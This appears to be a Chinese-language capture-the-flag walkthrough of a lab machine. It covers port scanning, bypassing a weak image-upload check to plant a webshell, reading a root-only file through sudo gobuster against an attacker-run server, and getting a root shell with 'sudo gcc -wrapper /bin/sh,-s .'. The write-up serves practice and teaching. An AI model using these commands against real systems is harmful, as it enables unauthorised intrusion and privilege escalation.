HMV-UP 信息收集 先用fscan扫一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 └─# ./fscan -h 192.168.20.132 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.4 start infoscan 192.168.20.132:80 open [*] alive ports len is: 1 start vulscan [*] WebTitle http://192.168.20.132 code:200 len:4489 title:RodGar - Subir Imagen 已完成 1/1 [*] 扫描结束,耗时: 1.989320329s
发现80端口开启,访问网站
再扫一下网站目录发现了robots.txt
1 dirsearch -u "http://192.168.20.132/uploads/"
文件上传漏洞 查看robots.txt发现网站源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php if ($_SERVER['REQUEST_METHOD'] === 'POST') { // 检查请求方法是否为 POST $targetDir = "uploads/"; // 设置目标目录为 "uploads/" $fileName = basename($_FILES["image"]["name"]); // 获取上传文件的原始名称 $fileType = pathinfo($fileName, PATHINFO_EXTENSION); // 获取文件扩展名 $fileBaseName = pathinfo($fileName, PATHINFO_FILENAME); // 获取文件名称(不含扩展名) $allowedTypes = ['jpg', 'jpeg', 'gif']; // 允许的文件类型 if (in_array(strtolower($fileType), $allowedTypes)) { // 检查文件类型是否符合允许的类型 // 使用ROT13加密文件名 $encryptedFileName = strtr($fileBaseName, 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz', 'NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm'); $newFileName = $encryptedFileName . "." . $fileType; // 拼接加密后的文件名和原文件扩展名 $targetFilePath = $targetDir . $newFileName; // 生成目标文件路径 // 将文件移动到目标目录 if (move_uploaded_file($_FILES["image"]["tmp_name"], $targetFilePath)) { $message = "El archivo se ha subido correctamente."; // 成功上传提示 } else { $message = "Hubo un error al subir el archivo."; // 上传失败提示 } } else { $message = "Solo se permiten archivos JPG y GIF."; // 文件类型不符合时提示 } } ?>
直接将木马写进gif图片上传,由于数字一般不会被rot13编码,所以用数字命名,上传访问即可拿到shell
提权 权限很低,看看有没有root权限运行的命令
1 2 3 4 5 6 7 8 9 www-data@debian:/var/www/html/uploads$ sudo -l sudo -l Matching Defaults entries for www-data on debian: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty User www-data may run the following commands on debian: (ALL) NOPASSWD: /usr/bin/gobuster
这里gobuster作用是一款用于目录和文件枚举的开源工具。它主要用于在 Web应用程序Q或网站上査找隐藏的目录和文件,从而进行信息收集或渗透测试。
记得刚刚目录扫描到了一个clue.txt的线索文件,看看
1 2 3 www-data@debian:/var/www/html/uploads$ cat clue.txt cat clue.txt /root/rodgarpass
那么就可以利用这个软件的特性读到这个root目录下面的文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 先在攻击机子上开启服务 php -S 0.0.0.0:80 然后进行爆破 sudo gobuster dir -u http://192.168.20.128 -w /root/rodgarpass 可以拿到内容 [Sun Nov 10 18:06:14 2024] PHP 8.2.12 Development Server (http://0.0.0.0:80) started [Sun Nov 10 18:07:24 2024] 192.168.20.132:45110 Accepted [Sun Nov 10 18:07:24 2024] 192.168.20.132:45110 [404]: GET / - No such file or directory [Sun Nov 10 18:07:24 2024] 192.168.20.132:45110 Closing [Sun Nov 10 18:07:24 2024] 192.168.20.132:45114 Accepted [Sun Nov 10 18:07:24 2024] 192.168.20.132:45114 [404]: GET /949a1fce-4d9a-41e8-a125-a1927643519e - No such file or directory [Sun Nov 10 18:07:24 2024] 192.168.20.132:45114 Closing [Sun Nov 10 18:07:24 2024] 192.168.20.132:45130 Accepted [Sun Nov 10 18:07:24 2024] 192.168.20.132:45130 [404]: GET /b45cffe084dd3d20d928bee85e7b0f2 - No such file or directory [Sun Nov 10 18:07:24 2024] 192.168.20.132:45130 Closing
这个文件提示的就是rodgar这个用户的密码,b45cffe084dd3d20d928bee85e7b0f2这串字符只有31位,一般md5是32位,那么极可能是密码,去网站上暴力识别一下
然后看看string的md5值发现是b45cffe084dd3d20d928bee85e7b0f21
1 2 └─# echo -n string|md5sum b45cffe084dd3d20d928bee85e7b0f21 -
可以登录rodgar用户
1 2 3 www-data@debian:/var/www/html/uploads$ su rodgar su rodgar Password: b45cffe084dd3d20d928bee85e7b0f21
再看看可以以root执行的命令
1 2 3 4 5 6 7 8 9 rodgar@debian:/var/www/html/uploads$ sudo -l sudo -l Matching Defaults entries for rodgar on debian: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty User rodgar may run the following commands on debian: (ALL : ALL) NOPASSWD: /usr/bin/gcc, /usr/bin/make
gcc是可以直接提权的
1 2 3 4 5 rodgar@debian:/var/www/html/uploads$ sudo gcc -wrapper /bin/sh,-s . sudo gcc -wrapper /bin/sh,-s . # whoami whoami root
至此拿到的root权限,user的flag在/home/rodgar/user.txt中,root的flag在/root/rooo_-tt.txt中
知识点 文件上传漏洞、sudo提权、hash补全